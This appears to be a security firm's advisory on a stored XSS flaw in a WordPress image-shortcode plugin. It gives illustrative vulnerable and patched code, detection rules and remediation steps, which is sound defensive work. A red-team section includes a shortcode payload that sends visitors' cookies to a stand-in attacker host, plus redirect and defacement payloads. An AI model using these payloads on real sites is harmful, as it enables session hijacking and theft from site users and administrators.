CVE-2025-1559

Executive Summary

CVE-2025-1559 is a Stored Cross-Site Scripting (XSS) vulnerability in the CC-IMG-Shortcode WordPress plugin, affecting all versions up to and including 1.1.0. The flaw resides in the plugin's [img] shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript or HTML into posts or pages. When any user (including administrators) views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can publish content. The lack of a known patch or official update from the vendor increases the risk for all sites using this plugin.

WordPress Ecosystem Context

As a WordPress plugin vulnerability, this issue directly impacts the WordPress content management system. The attack vector relies on the plugin's shortcode processing, which is a core WordPress feature. No Apache or Nginx configuration changes can mitigate this flaw; the fix must come from the plugin itself.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The attacker can exploit this remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Requires Contributor-level access.
• User Interaction: None (UI:N) – No victim action needed beyond viewing the page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Content modification possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for privilege escalation (e.g., stealing admin cookies) elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability exists in the cc-img-shortcode.php file (or equivalent) where the [img] shortcode is registered. The plugin likely uses add_shortcode('img', ...) and processes attributes like src, alt, title, or custom attributes. The core issue is that these attributes are directly echoed into the HTML output without proper escaping.

Example vulnerable code pattern:

function cc_img_shortcode($atts) {
    $src = $atts['src'];
    return '<img src="' . $src . '" />';
}

An attacker can supply:

[img src="x" onerror="alert('XSS')"]

This results in:

<img src="x" onerror="alert('XSS')" />

The onerror event fires when the image fails to load, executing the injected JavaScript.

Why it's Stored: The shortcode is processed when the post is rendered. If the post is saved with the malicious shortcode, the XSS payload is stored in the database and executed every time the post is viewed.

Vulnerable vs. Patched Code

Vulnerable Code (<=1.1.0):

function cc_img_shortcode($atts) {
    $src = $atts['src'];
    $alt = $atts['alt'];
    return '<img src="' . $src . '" alt="' . $alt . '" />';
}

Patched Code (Hypothetical):

function cc_img_shortcode($atts) {
    $src = esc_url($atts['src']);
    $alt = esc_attr($atts['alt']);
    return '<img src="' . $src . '" alt="' . $alt . '" />';
}

The patched version uses esc_url() for URLs and esc_attr() for other attributes, which HTML-encodes special characters and prevents attribute injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with CC-IMG-Shortcode plugin <=1.1.0
• Contributor-level account or higher

Step-by-step:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode:

   [img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

4. Publish the post.
5. When an admin or any user views the post, the script executes, exfiltrating cookies to the attacker's server.

Alternative payloads:

• Redirect to phishing page: [img src="x" onerror="window.location='https://phishing.com'"]
• Defacement: [img src="x" onerror="document.body.innerHTML='<h1>Hacked</h1>'"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing [img shortcode with suspicious attributes (e.g., onerror, onload, onclick).
• Use WAF rules to block requests with event handlers in shortcode attributes.
• Review WordPress logs for unusual shortcode usage.

Prevention:

• Disable the plugin immediately if no patch is available.
• Restrict Contributor roles from using shortcodes via user role editor plugins.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/cc-img-shortcode/cc-img-shortcode.php (or similar)
• Database entries: Posts/pages containing [img shortcode with event handler attributes (e.g., onerror, onload).
• Network traffic: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing unexpected shortcode processing errors.

Detection Engineering

YARA Rule

rule CVE_2025_1559_Stored_XSS {
    meta:
        description = "Detects malicious shortcode patterns in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1559"
    strings:
        $shortcode = /\[img\s+[^\]]*?(onerror|onload|onclick|onmouseover)\s*=/i
        $payload = /<img[^>]+onerror\s*=/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: CVE-2025-1559 WordPress CC-IMG-Shortcode Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via malicious shortcode attributes
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - '[img'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1559 WordPress CC-IMG-Shortcode Stored XSS Attempt"; flow:to_server,established; content:"[img"; http_uri; nocase; content:"onerror"; http_uri; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete cc-img-shortcode from the WordPress admin panel.
2. Scan for existing exploitation – Search all posts and pages for the [img shortcode pattern. Use the YARA rule above.
3. Remove malicious content – Delete or sanitize any posts containing suspicious shortcodes.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and applying the fix described in the "Vulnerable vs. Patched Code" section.
• Alternatively, replace the plugin with a secure alternative that handles shortcode attributes properly.

Preventive Measures:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
• Enforce Content Security Policy (CSP) headers: default-src 'self'; script-src 'self'.
• Regularly audit WordPress plugins and remove unused or unmaintained ones.

Valters IT – Securing Digital Frontiers